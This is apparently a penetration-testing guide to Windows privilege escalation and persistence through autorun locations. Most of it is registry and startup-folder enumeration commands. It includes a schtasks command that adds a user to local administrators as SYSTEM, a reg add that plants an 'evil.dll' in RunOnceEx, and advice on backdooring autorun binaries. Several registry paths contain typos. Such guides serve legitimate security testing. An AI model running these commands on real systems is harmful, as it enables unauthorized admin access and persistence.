Privilege Escalation with Autoruns

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Wmic can be used to run programs on startup. See which binaries are programmed to run is startup with:

wmic startup get caption,command 2>nul & ^
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl

Scheduled Tasks

Tasks can be schedules to run with certain frequency. See which binaries are scheduled to run with:

schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab"
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

#Schtask to give admin access
#You can also write that content on a bat file that is being executed by a scheduled task
schtasks /Create /RU "SYSTEM" /SC ONLOGON /TN "SchedPE" /TR "cmd /c net localgroup administrators user /add"


All the binaries located in the Startup folders are going to be executed on startup. The common startup folders are the ones listed a continuation, but the startup folder is indicated in the registry. Read this to learn where.

dir /b "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul
dir /b "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul
dir /b "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul
dir /b "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul
Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"


Note from here: The Wow6432Node registry entry indicates that you are running a 64-bit Windows version. The operating system uses this key to display a separate view of HKEY_LOCAL_MACHINE\SOFTWARE for 32-bit applications that run on 64-bit Windows versions.


Commonly known AutoRun registry:

  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run

  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

  • HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run

  • HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run

  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

  • HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run

  • HKCU\Software\Wow6432Npde\Microsoft\Windows\CurrentVersion\RunOnce

  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run

  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Runonce

  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunonceEx

Registry keys known as Run and RunOnce are designed to automatically execute programs every time a user logs into the system. The command line assigned as a key's data value is limited to 260 characters or less.

Service runs (can control automatic startup of services during boot):

  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices

  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices

  • HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce

  • HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce

  • HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices

  • HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices


  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx

  • HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceEx

On Windows Vista and later versions, the Run and RunOnce registry keys are not automatically generated. Entries in these keys can either directly start programs or specify them as dependencies. For instance, to load a DLL file at logon, one could use the RunOnceEx registry key along with a "Depend" key. This is demonstrated by adding a registry entry to execute "C:\temp\evil.dll" during the system start-up:

reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d "C:\\temp\\evil.dll"

Exploit 1: If you can write inside any of the mentioned registry inside HKLM you can escalate privileges when a different user logs in.

Exploit 2: If you can overwrite any of the binaries indicated on any of the registry inside HKLM you can modify that binary with a backdoor when a different user logs in and escalate privileges.

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunE

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce
reg query HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices
reg query HKCU\Software\Wow5432Node\Microsoft\Windows\CurrentVersion\RunServices

reg query HKLM\Software\Microsoft\Windows\RunOnceEx
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\RunOnceEx
reg query HKCU\Software\Microsoft\Windows\RunOnceEx
reg query HKCU\Software\Wow6432Node\Microsoft\Windows\RunOnceEx

Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunE'

Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce'
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce'
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices'
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices'
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce'
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce'
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices'
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices'

Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\RunOnceEx'
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\RunOnceEx'
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\RunOnceEx'
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\RunOnceEx'

Startup Path

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

Shortcuts placed in the Startup folder will automatically trigger services or applications to launch during user logon or system reboot. The Startup folder's location is defined in the registry for both the Local Machine and Current User scopes. This means any shortcut added to these specified Startup locations will ensure the linked service or program starts up following the logon or reboot process, making it a straightforward method for scheduling programs to run automatically.

If you can overwrite any [User] Shell Folder under HKLM, you will e able to point it to a folder controlled by you and place a backdoor that will be executed anytime a user logs in the system escalating privileges.

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Common Startup"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Common Startup"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"

Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' -Name "Common Startup"
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders' -Name "Common Startup"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders' -Name "Common Startup"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' -Name "Common Startup"

Winlogon Keys

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Typically, the Userinit key is set to userinit.exe. However, if this key is modified, the specified executable will also be launched by Winlogon upon user logon. Similarly, the Shell key is intended to point to explorer.exe, which is the default shell for Windows.

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Userinit"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Shell"

If you can overwrite the registry value or the binary you will be able to escalate privileges.

Policy Settings

  • HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Check Run key.

reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "Run"
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "Run"
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer' -Name "Run"
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer' -Name "Run"


Changing the Safe Mode Command Prompt

In the Windows Registry under HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot, there's a AlternateShell value set by default to cmd.exe. This means when you choose "Safe Mode with Command Prompt" during startup (by pressing F8), cmd.exe is used. But, it's possible to set up your computer to automatically start in this mode without needing to press F8 and manually select it.

Steps to create a boot option for automatically starting in "Safe Mode with Command Prompt":

  1. Change attributes of the boot.ini file to remove read-only, system, and hidden flags: attrib c:\boot.ini -r -s -h

  2. Open boot.ini for editing.

  3. Insert a line like: multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /SAFEBOOT:MINIMAL(ALTERNATESHELL)

  4. Save changes to boot.ini.

  5. Reapply the original file attributes: attrib c:\boot.ini +r +s +h

  • Exploit 1: Changing the AlternateShell registry key allows for custom command shell setup, potentially for unauthorized access.

  • Exploit 2 (PATH Write Permissions): Having write permissions to any part of the system PATH variable, especially before C:\Windows\system32, lets you execute a custom cmd.exe, which could be a backdoor if the system is started in Safe Mode.

  • Exploit 3 (PATH and boot.ini Write Permissions): Writing access to boot.ini enables automatic Safe Mode startup, facilitating unauthorized access on the next reboot.

To check the current AlternateShell setting, use these commands:

reg query HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /v AlternateShell
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot' -Name 'AlternateShell'

Installed Component

Active Setup is a feature in Windows that initiates before the desktop environment is fully loaded. It prioritizes the execution of certain commands, which must complete before the user logon proceeds. This process occurs even before other startup entries, such as those in the Run or RunOnce registry sections, are triggered.

Active Setup is managed through the following registry keys:

  • HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components

  • HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components

  • HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components

  • HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components

Within these keys, various subkeys exist, each corresponding to a specific component. Key values of particular interest include:

  • IsInstalled:

    • 0 indicates the component's command will not execute.

    • 1 means the command will execute once for each user, which is the default behavior if the IsInstalled value is missing.

  • StubPath: Defines the command to be executed by Active Setup. It can be any valid command line, such as launching notepad.

Security Insights:

  • Modifying or writing to a key where IsInstalled is set to "1" with a specific StubPath can lead to unauthorized command execution, potentially for privilege escalation.

  • Altering the binary file referenced in any StubPath value could also achieve privilege escalation, given sufficient permissions.

To inspect the StubPath configurations across Active Setup components, these commands can be used:

reg query "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
reg query "HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath
reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath

Browser Helper Objects

Overview of Browser Helper Objects (BHOs)

Browser Helper Objects (BHOs) are DLL modules that add extra features to Microsoft's Internet Explorer. They load into Internet Explorer and Windows Explorer on each start. Yet, their execution can be blocked by setting NoExplorer key to 1, preventing them from loading with Windows Explorer instances.

BHOs are compatible with Windows 10 via Internet Explorer 11 but are not supported in Microsoft Edge, the default browser in newer versions of Windows.

To explore BHOs registered on a system, you can inspect the following registry keys:

  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects

  • HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects

Each BHO is represented by its CLSID in the registry, serving as a unique identifier. Detailed information about each CLSID can be found under HKLM\SOFTWARE\Classes\CLSID\{<CLSID>}.

For querying BHOs in the registry, these commands can be utilized:

reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s

Internet Explorer Extensions

  • HKLM\Software\Microsoft\Internet Explorer\Extensions

  • HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Extensions

Note that the registry will contain 1 new registry per each dll and it will be represented by the CLSID. You can find the CLSID info in HKLM\SOFTWARE\Classes\CLSID\{<CLSID>}

Font Drivers

  • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers

  • HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers"
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers'
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers'

Open Command

  • HKLM\SOFTWARE\Classes\htmlfile\shell\open\command

  • HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command

reg query "HKLM\SOFTWARE\Classes\htmlfile\shell\open\command" /v ""
reg query "HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command" /v ""
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Classes\htmlfile\shell\open\command' -Name ""
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command' -Name ""

Image File Execution Options

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Execution Options


Note that all the sites where you can find autoruns are already searched by winpeas.exe. However, for a more comprehensive list of auto-executed file you could use autoruns from systinternals:

autorunsc.exe -m -nobanner -a * -ct /accepteula


Find more Autoruns like registries in


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